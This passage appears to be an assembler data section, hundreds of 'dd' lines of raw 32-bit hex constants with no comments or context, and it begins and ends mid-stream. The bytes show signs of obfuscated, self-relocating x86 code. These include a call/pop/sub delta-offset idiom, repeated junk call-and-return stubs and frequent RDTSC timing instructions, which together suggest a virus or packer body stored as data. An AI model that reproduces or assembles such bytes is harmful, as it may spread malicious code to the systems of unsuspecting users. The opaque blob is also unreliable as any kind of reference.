5A9C357h dd 0ED3B9E3h, 8D890000h, 64D0E75h, 6AFCE183h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0E90FC352h, 29319D8Bh, 0FFC064Dh, 8Dh, 0B800h, 870F0000h dd 5, 0D8C78166h, 0BA3Bh, 81660000h, 0ADE150C7h, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0D0E8C350h, 0BF665E0Ah dd 6A8032h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0BF0FCCC3h, 880DFAh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 0BB0E76C3h dd 46C17B69h, 1D9FBB66h, 599958Bh, 6A064Dh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 1972FC3h dd 866BC567h, 0DF815107h, 3C963A0Bh, 1D8D8B5Fh, 57064D05h dd 1B7D8D29h, 505B064Dh, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 0DEBF0F58h, 1C45BD83h, 0F00064Dh, 5F84h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 660656B7h, 0F878D6BFh, 0B8h, 0E58D8D00h dd 0F064D4Dh, 68Eh, 958D3100h, 0F064D2Ah, 0E1FFFBBFh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 6EC35545h, 9283B2B6h dd 2E9BD83h, 0F00064Dh, 3C284h, 89FB8B00h, 4D2CBDBDh, 0E9BD8306h dd 1064D02h, 3C8840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 297BF4C3h, 75A47A93h dd 0BBBB7D0Bh, 2724E8FEh, 2E9BD83h, 0F03064Dh, 35B86h dd 61BF6600h, 820F60A1h, 17h, 11880Fh, 0CE90000h, 0BF000000h dd 0FC872E79h, 1CC02062h, 665CD8DFh, 8057D98Ch, 805B6FDFh dd 3BB04E1h, 0A24E179h, 0D8840FC9h, 8B000000h, 4D0C21BDh dd 7D9D8906h, 8B064D23h, 4D187985h, 8533FC06h, 64D0639h dd 50FEBF0Fh, 0D98B5250h, 14E8310Fh, 0EB000000h, 0F7C48786h dd 0F2CD53D9h, 0D0ADED90h, 2C120319h, 663432EFh, 5B8E68BFh dd 489585Ah, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 6430B0BAh, 7EBE8750h, 0DAB70FF8h dd 1468006Ah, 0B7B0B413h, 240481F2h, 4F6AF0EBh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 24C35747h, 95FF1026h dd 64D0EB1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 72C35040h, 85894908h, 650B795h, 0AA98589h, 0B4E9064Dh dd 0F000001h, 28Ch, 8BFA8A00h, 50B78D85h, 0C7F506h, 18h dd 0E8F78166h, 0B58BF9EEh, 650B791h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0D7C35343h, 0A99D8B38h, 8B064D0Dh dd 4D32E585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 788360CAh, 6A767FDDh, 689FC2Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 6C35242h, 0ECD6AC4Ah dd 89570425h, 4D10558Dh, 8B665F06h, 79858BFBh, 31064D18h dd 4D11918Dh, 4468906h, 0FA8B50F9h, 6A243489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 1819C355h, 6975D27Ch, 0B5FF283Dh, 650B78Dh, 12E9h, 0E1816700h dd 7D888DD0h, 0DE02646Ah, 0D584EEFEh, 89181080h, 4D2B319Dh dd 4E806h, 3FF0000h, 71B3001Fh, 66525050h, 310FD88Bh, 585ADC8Ah dd 424448Bh, 8E8008Bh, 55000000h, 0C056F954h, 0BF4E0F32h dd 62A763CFh, 2444895Bh, 0FB8B6604h, 53006A58h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 41EEA554h dd 505C3B81h, 9529144Fh, 64D1101h, 95858DF8h, 8B0650B7h dd 4D22A99Dh, 0EE95006h, 6D000000h, 51E4950Bh, 4727A295h dd 0EB5FC3C6h, 24048946h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0A2C35141h, 9D8BFEA2h, 64D2E09h, 0C61BD89h dd 95FF064Dh, 64D0EB1h, 61DFB70Fh, 2E985C7h, 3064Dh, 0BD090000h dd 64D2D89h, 0FE9h, 11E8C400h, 0ED2268C8h, 253A3B77h, 0C7553C42h dd 0B795BD83h, 0F000650h, 6B84h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0ECAC68B2h dd 61148EBBh, 0C10371BBh, 59E953h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 76B6CAC3h dd 0E32F59BBh, 0DD8D0118h, 0E8064D2Ch, 9, 36367B4Bh, 495AB3Bh dd 159D8BB8h, 5F064D22h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 8BC08B00h, 4D27619Dh, 49B58906h, 8B064D16h dd 4D2F2D9Dh, 0E9BD8306h, 3064D02h, 506850Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0E4FD80C3h, 8FD7C39h, 0BD8322BAh, 650B795h, 0D5840F00h dd 0BB000004h, 1F9FBC9h, 0B795B5FFh dd 6A0650h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 53A533C3h, 212DEE99h, 2D9995FFh, 0B58B064Dh dd 650B789h, 106C7h, 0BD8B0001h, 64D273Dh, 248D8D29h, 6050064Dh dd 0EF6ABE66h, 24348961h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0B2C35141h, 0D6CDEFADh, 66566103h, 5F8E88BFh dd 0B795B5FFh, 6A0650h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 4D7B18C3h, 0DEB83DF9h, 9D8BF114h dd 64D0B2Dh, 6860Fh, 9D8B0000h, 64D3055h, 2DED8D89h, 95FF064Dh dd 64D308Dh, 26FDBD8Bh, 0B58B064Dh, 650B789h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 46C35141h, 40A20487h dd 2385858Bh, 6A064Dh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0A984C2C3h, 0AFABC5A7h, 6BF6662h dd 9D8B50D6h, 64D32DDh, 0BD8B515Bh, 64D22FDh, 0C486895Fh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0BF9CC356h, 733CE014h, 0AE9h dd 0AA72EC00h, 1A852F3Bh, 8BCE6CBBh, 4D059995h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0C283FC63h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 89BC2D8Bh, 4D03F58Dh dd 20508906h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0C8C35040h, 0CABF66BCh, 0F0858D4Ah, 6A0650CBh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0EA86C350h, 0F9EC0A6Eh, 566157FEh, 895BDF8Bh dd 4D2DED95h, 0B8868906h, 89000000h, 4D2835B5h, 6A006A06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0B787C351h, 0D88BD4DDh, 0B795B5FFh, 6A0650h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 6C4C55C3h, 0B18D0189h, 0FF064D17h, 4D243195h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0B90C6982h, 0E61DDB45h, 1C49BD8Bh, 0E896064Dh, 0Eh dd 778DD969h, 36FE765Bh, 2CFE2C73h, 0B260155Bh, 1459BEDEh dd 5F612220h, 9E86050h, 0BD000000h, 5D04D8F7h, 50C0C442h dd 310F5250h, 615A585Ah, 52006A96h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 151AB71Eh, 5059850Ch dd 2E51BD8Bh, 535B064Dh, 0C199D89h, 0FF5B064Dh, 50B795B5h dd 0D850F06h, 0E9000000h, 8, 27962158h, 0CBEFBBBBh, 2CC195FFh dd 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 89C26FC3h, 4D25D595h, 89B50906h, 83064D2Fh dd 4D32A5BDh, 840F0006h, 5Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 54C35747h, 0AFC47FFBh, 8B1E8E65h dd 4D1AA1BDh, 0B800F06h, 0F000000h, 586h, 3A18BF00h, 66506D4Dh dd 3489DE8Bh, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 95B5FFA5h, 600650B7h, 81BED281h dd 858B2B4Fh, 64D0D6Dh, 0C595FF61h, 6A064D17h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 61BFC355h, 67261554h, 0B5FF13D0h, 650B795h, 0FFA8E780h dd 4D29B995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 2771FAD9h, 0E89C64ECh, 11h, 904D70DEh dd 7D4D371Eh, 2DA7C15Dh, 0C0308C60h, 31BD8B0Ch, 5F064D15h dd 1505BD83h, 0F02064Dh, 6A84h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 44CCDB8Eh dd 0F9FA91E8h, 0FE98Ch, 9BB90000h, 0ED25A749h, 3E769B30h dd 0B4A0F488h, 0A9858BE1h, 6A064D15h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0B512C356h dd 8B4EDE12h, 4D1369BDh, 0C606h, 0C7D98B66h, 4D211185h dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 3E49F038h, 0FFF37CE9h, 56006AFFh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 8D3131C0h, 64D31CDh, 0B70FC18Bh, 35858DDAh, 66064D07h dd 6650D98Bh, 489F88Bh, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0F765DE6Bh, 6A0910h, 44D9D8Bh dd 6A064Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 0D1C35141h, 0BE9B6h, 0A87D0000h, 827E8878h, 0C78155CEh dd 96858DFEh, 60065225h, 95858B52h, 58064D2Ah, 1A6335BBh dd 8529613Dh, 64D29DDh, 0F05C083h, 689h, 0B9BD8B00h, 50064D0Bh dd 17810Fh, 12E90000h, 8E000000h, 0ADE8D016h, 0F2CEA99Dh dd 9DCB8713h, 0B6D39A7h, 24048995h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0D7C35040h, 3644E27Bh, 6A4AE9h dd 13D5BD8Bh, 6A064Dh, 95FF5F56h, 64D1149h, 0E0CBB66h dd 9A138D8Dh, 6A0650h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0C77D3FC3h, 0B58960EAh, 64D03BDh dd 10E9h, 0DEE98200h, 16BC149Bh, 4AF3D46h, 9E815A0Ah, 0D1FF6184h dd 18698509h, 0BD83064Dh, 64D1281h, 8D850F01h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 8C4CC356h, 820F31FCh, 3, 6AF8BF0Fh, 91958902h dd 90064D13h, 0B7525050h, 5A310F22h, 6A9058h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 117C2DC3h dd 3195FF54h, 6A064D24h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0C26BC351h, 0A3D7BB66h dd 6870Fh, 0BD0B0000h, 64D110Dh, 0DFBE9h, 0E800h, 815D0000h dd 5225A0EDh, 68D0F06h, 89000000h, 4D1F058Dh, 0AEBF6606h dd 57858DCCh, 6A06508Ah, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0B1CAC350h, 0E433BDF8h dd 9489BFE7h, 89DC8A50h, 0FF642404h, 35h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0F5209D5Ah, 0F96E2100h, 7519D03h, 8964064Dh, 25h, 0FF63B300h dd 4D181585h, 0D3816606h, 0FF6A6A9Ah, 51DFB70Fh, 4D9D8B52h dd 5F064D0Ch, 0A1B5FF5Bh, 6A064D0Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 89A9C355h dd 4D1441BDh, 0A6D38106h, 0FF497D30h, 4D041195h, 10EE906h dd 0FE80000h, 12000000h, 7E85DBCDh, 8A8AD75h, 684D58FFh dd 0BF0FDD31h, 89605BDEh, 4D3069B5h, 0B061F906h, 51BD8B00h dd 0F064D24h, 38Dh, 0FBBF0F00h, 0BD8B70E6h, 64D0BF5h, 0F6071E4h dd 8C0FD2B7h, 6, 810Fh, 3C610000h, 0B9830F61h, 89000000h dd 4D20358Dh dd 0C8B60F06h, 6BADF8Bh, 0F000000h, 0C18BFEB7h, 6890Fh dd 0B5090000h, 64D1E0Dh, 8904E8C1h, 4D14859Dh, 0E2F76606h dd 30958D89h, 0C82B064Dh, 45D6E381h, 0D18B7EFAh, 77E9h dd 0B1BF6600h, 959589F5h, 8B064D05h, 47554C85h, 8E949h dd 0C24C0000h, 41D9F56Bh, 0C0835A7Ah, 19BD8907h, 83064D16h dd 0BF6600C0h, 0D03B7806h, 12830Fh, 9D8B0000h, 64D1FE9h dd 37E9h, 665B5000h, 492DF781h, 0FFFF8D8Bh, 8D09FFFFh dd 64D31BDh, 0F01E183h, 1B84h, 1FEBBB00h, 0A5837112h, 0FFFFFFFFh dd 0FA8A60FEh, 4C958961h, 0E9494755h, 0 dd 0A442B58Dh, 0BD030651h, 64D2665h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8979EFC3h dd 4D1B658Dh, 1195FF06h, 0E9064D05h, 7, 0BC1CEF36h, 0B97FF0DEh dd 0F93h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 0C3C35646h, 33DF3DB6h, 5EE8BB8Eh, 0DE953EEh, 3A000000h dd 0CAE478C4h, 54E352E0h, 1699AB9Fh, 14E9h, 0C805AC00h dd 7FB9769Ch, 61ADA432h, 0EC1351BAh, 2E6A3F50h, 0FCE183F2h dd 0FE8h, 1D5E700h, 81357D35h, 1DF96DA7h, 0C122344Ch, 30A1BD29h dd 895B064Dh, 4D28F98Dh, 9509FC06h, 64D2985h, 8166C02Bh dd 308FEE7h, 4D12119Dh, 0BA06h, 850F0000h, 6, 1459BD89h dd 33AD064Dh, 3E8D1C2h, 4E983D0h, 0DF8F475h, 88h, 99958BFCh dd 6A064D05h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 42E7C351h, 450DBF66h, 2BA5B529h dd 8D8B064Dh, 64D051Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 54C35040h, 48AF71F2h, 8531A097h, 5E9h dd 16274B00h, 8B507A4Fh, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 0E8C35141h, 78A41F1Eh, 0DE9C4h, 0CD7B0000h, 4D7DBD2Ah dd 60FE183Bh, 0E9ABBCB7h, 0Eh, 0FE213033h, 957B00CFh, 8ABDB954h dd 0BD83FD28h, 64D1C45h, 48840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 2B3C352h, 272884E3h, 9D8B796Dh, 64D1501h, 0B8h, 55BD8B00h dd 8D064D2Fh, 4D4DE58Dh, 359D8B06h, 0FF064D21h, 8DBD33E1h dd 83064D0Ch, 4D02E9BDh, 840F0006h, 453h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 19h, 31C35747h, 0E82CE50Ah dd 0B9BD2B69h, 89064D2Ch, 4D30F19Dh, 0E9BD8306h, 1064D02h dd 434840Fh, 9D8B0000h, 64D2B99h, 53DBD8Bh, 0BD83064Dh dd 64D02E9h, 0E5860F03h, 89000003h, 4D2E518Dh, 6A6006h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0F2939C3h, 0E960F9BFh, 0Ch, 0B9A2BFFAh, 8B482383h, 998701B7h dd 8F94B866h, 0D98C6661h, 4E180F5h, 3810Fh, 0D3800000h dd 0FC90AE6h, 11C84h, 8BF88B00h, 4D187985h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 8953158Bh, 0A7D01BE0h, 0AE972h, 6C420000h, 27CB2127h dd 32849D96h, 0C9CF8166h, 398533E2h, 6A064D06h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 151BC352h, 0EAABBA23h, 2C2CBF90h, 0BF503F1Eh, 760EC9EDh dd 0D1BD8B90h, 6A064D1Fh, 12E800h, 56FB0000h, 0F1F35B22h dd 283F1E08h, 6E927C58h, 8817F742h, 685BFC8Ah, 4FF29A8Bh dd 9E8h, 5EDC9700h, 457ED5C2h, 810F925Ah, 19h, 13E8h, 3836B500h dd 3F2CC23Fh, 553E8DD6h, 37B711B1h, 0E6362BBCh, 34815B5Bh dd 0ED997424h, 7995894Fh, 0FF064D22h, 4D0EB195h, 95858906h dd 6A0650B7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0F662C357h, 0D5AFF4C5h, 89EE5CB9h dd 4D0B4185h, 1BD8B06h, 0E9064D28h, 1E6h, 4EB8166h, 8D858BD7h dd 6A0650B7h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 4154C352h, 1A606B2Fh, 0F7B7DA8Bh dd 1800C7h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 616A28C3h, 0DDBD8B99h, 8B064D11h dd 50B791B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 7E474F19h, 293715C7h, 4D17918Dh dd 0E5858B06h, 8B064D32h, 4D21219Dh, 6A068906h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0FDF8C351h, 0FD4533ACh, 7AB0A4D7h, 0AC715BBBh, 8BF88B21h dd 4D187985h, 0CE906h, 0AD820000h, 53A3867Fh, 4CEA2C7Fh dd 4689EC1Bh, 0C9953104h, 96064D13h, 5050D88Bh, 51525052h dd 0E9310F5Bh, 8, 0CB00FF00h, 2D4754h, 310F585Ah, 2840Fh dd 0F98B0000h, 6A96585Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 0ED16C357h, 8777D9E3h dd 16BBF07Fh, 0FF68AB5Ch, 50B78DB5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 4E81Bh, 3FF0000h dd 0E950001Fh, 0Ch, 0A71312A8h, 77E5B71Fh, 0D8EB2943h dd 424448Bh, 8BDF8Bh, 0E1BF6652h, 44895F49h, 8E80424h dd 1D000000h, 3DC193FEh, 5F574B30h, 8DDE8B58h, 50B79585h dd 0D8B70F06h, 17A5BD8Bh, 0E950064Dh, 5, 638E50F5h, 240489C2h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0CEC35343h dd 453465DDh, 0EB195FFh, 0BE9064Dh, 0A5000000h, 82013818h dd 99C63DE7h, 6A61F1DBh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0DDABC351h, 0BB6647A0h dd 85C7EF09h, 64D02E9h, 3, 0E892DF80h, 0Fh, 8BCA91D8h dd 8E7B4329h, 0B24DAAD4h, 810FD888h, 8CBC96DBh, 0BD835B22h dd 650B795h, 39840F00h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 3FDAC353h dd 0B70F9734h, 39BD8BDEh, 0E9064D07h, 27h, 7E9h, 96B8C500h dd 1726C598h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 6AC08B00h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 3FD0C351h, 0D99BD03h, 0BD83064Dh dd 64D02E9h, 8850F03h, 1000005h, 4D1EC195h, 95BD8306h dd 650B7h, 4F5840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0F19AF2C3h, 539675B1h dd 0B2E9DB81h, 0FF5B10ECh, 50B795B5h, 5E906h, 48D60000h dd 0FFB1E864h, 4D2D9995h, 7E806h, 3B600000h, 3DC3AC2Dh dd 0BD8D298Ah, 5B064D14h, 0B789B58Bh, 6A0650h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 5C5A07C3h, 331BD89h, 6C7064Dh, 10001h, 0FE8h, 87F35100h dd 8CC48EEBh, 0C304D654h, 0FE7ECC95h, 25A5BD8Bh, 965F064Dh dd 5050DE8Bh, 0AE9h, 0CCD7D500h, 0AC5E5E00h, 5B50218Ah dd 56006A96h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 51D61BEEh, 41E9E781h, 0B5FF3BA1h, 650B795h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 8CC35747h dd 0B0C6A2DAh, 25963FECh, 319D8Bh, 95FF064Dh, 64D308Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 3CC35646h, 1DF76863h, 0DE91846Ah, 0CE9h, 0A031D500h dd 24ECE74Bh, 4AAA9B84h, 89B58B38h, 6A0650B7h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 7D8C351h, 0B4D6C408h, 89F1100Fh, 4D2CED8Dh, 85858B06h dd 6A064D23h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 3526C356h, 3F2308FCh, 0DC8A5CC7h dd 10E8h, 1F5D1B00h, 0FD5592EDh, 9B502827h, 1C680256h dd 19860FE7h, 0E8000000h, 13h, 0B41A749Bh, 6C5C5793h, 37FF4D79h dd 0FE1A8674h, 5BB4E3F2h, 0C486895Fh, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 2CA0C357h, 8BF74E15h, 4D059995h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0BFAA3CE9h dd 1EC867BFh, 6A04C283h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 3F3CC350h, 8956FFA6h dd 6A2050h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 57DF41C3h, 9D8B2F48h, 64D0691h, 23B1BD89h dd 858D064Dh, 650CBF0h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0DC35040h, 89FA8B66h, 0B886h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0FA1ABA90h, 6830Fh, 0B5890000h, 64D2AD1h, 6AD8BF0Fh dd 75958900h, 0FF064D24h, 50B795B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0F65BF7E6h dd 0F8546E8Ch, 13E9C6h, 9F330000h, 0BE602FB0h, 0A878C801h dd 0AFEE6B2Dh, 0EAA87FEFh, 3195FF30h, 0F064D24h, 5050FBBFh dd 0AE952h, 44B40000h, 0C2ED8F90h, 56F36A82h, 0F60310Fh dd 8Ch, 585A6100h, 89243489h, 4D267DB5h, 95B5FF06h, 6A0650B7h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0BABCC352h, 0FF8488EEh, 4D2CC195h, 0A5BD8306h dd 64D32h, 0A0840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 89ADE9C3h, 4D1C49BDh dd 290FB706h, 4D1775B5h, 52509606h, 6E8h, 4B82BD00h, 66142279h dd 0F5FDF8Bh, 0E9525031h, 0Bh, 6421D6ABh, 0DBAFDA73h, 0F8D4F3Fh dd 0F525031h, 5A585A31h, 50585A58h, 340E3EBBh, 6A9636h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 52B9F3C3h, 0E8464EA2h, 9, 8DFCC24h, 0F4B10E0Ch, 0A1BD8B7Bh dd 5F064D03h, 61606053h, 0B5FF5B61h, 650B795h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 9FC35747h, 800F1BCFh dd 1, 0C595FFF9h, 6A064D17h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0F08C351h, 81D57924h dd 42BF73DBh, 8B57605Ah, 0FF615ED3h, 50B795B5h, 619D2906h dd 0FF064D0Bh, 4D29B995h, 0FE906h, 68200000h, 0DEC7E4Ah dd 2648D83Bh, 773F93FCh, 5BD839Dh, 2064D15h, 38840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 39BAF9C3h, 8B66E27Ah, 0A9858BFAh, 8B064D15h, 4D0079BDh dd 0C606h, 1495BD8Bh, 85C7064Dh, 64D2111h, 0 dd 0E9FAC780h, 0FFFFF2D2h, 7E8h, 0C2D4A600h, 0CC8A7923h dd 21CD8D89h, 8B5B064Dh, 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 4D9D8BCAh, 66064D2Bh dd 3CE6D381h, 346A8D8Dh, 858B0652h, 64D2685h, 5998D89h dd 6A064Dh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 3BD3A0C3h, 31C26256h, 66BED7B7h, 0CE77F381h dd 51D85C7h, 64A0064Dh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0C4C75C3h, 20466332h dd 0BDBF66C4h, 0E985C71Fh, 64D02h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0B121C350h, 0BE666C85h, 0B5FFC9BAh, 64D0AA1h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 57C35747h, 35593300h dd 5595FFC5h, 9064D2Eh, 4D076985h, 0FF006A06h, 4D051195h dd 0EBC08B06h, 0EAC3231Ch, 62DC519h, 0BC65D5B3h, 6564A3F1h dd 8AED87D5h, 0AC8D2CF8h, 19EAC323h, 438D8DC5h, 6A065235h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 12B8C352h, 36D9D89h, 0B70F064Dh, 998D89D9h dd 0FC064D05h, 51D85C7h, 7268064Dh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0B57944C3h dd 0ADCEAA37h, 0BA92CD73h, 238EA111h, 2E985C7h, 64Dh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0F838E9C3h, 9EB3E0EAh, 1ABD9589h, 0B5FF064Dh, 64D2B05h dd 15958D31h, 95FF064Dh, 64D2E55h, 0E09BD89h, 6A064Dh dd 51195FFh, 0C08B064Dh, 0B4516AEBh, 22B52220h, 4CF594F8h dd 0A931FC8Ch, 708B33CAh, 1DFFB350h, 7AC146E2h, 0A1AF80DAh dd 406B4F8Dh, 77446EFh, 6504A0A4h, 0F09A4BB5h, 1F72EBFBh dd 25558AA8h, 0B7CDB693h, 0A57C4183h, 90C68246h, 84E4B291h dd 0EEB6B2DBh, 453DB40Ch, 0CE512F07h, 0BA40B02Ah, 93C2642Ah dd 3D4573A5h, 0C402DAECh, 66242600h, 0EE9716FFh, 0CE8h dd 7510D300h, 3A870CAFh, 0F2BDB1C9h, 5E920h, 21BE0000h dd 5808A23Ch, 0C830Fh, 7E90000h, 3C000000h, 0DA9BD425h dd 0C0818347h, 65FDh, 6840Fh, 95890000h, 64D00A9h, 5E8D233h dd 6E000000h, 0CA40A000h, 7E8h, 8DF63A00h, 4A8FD7DEh, 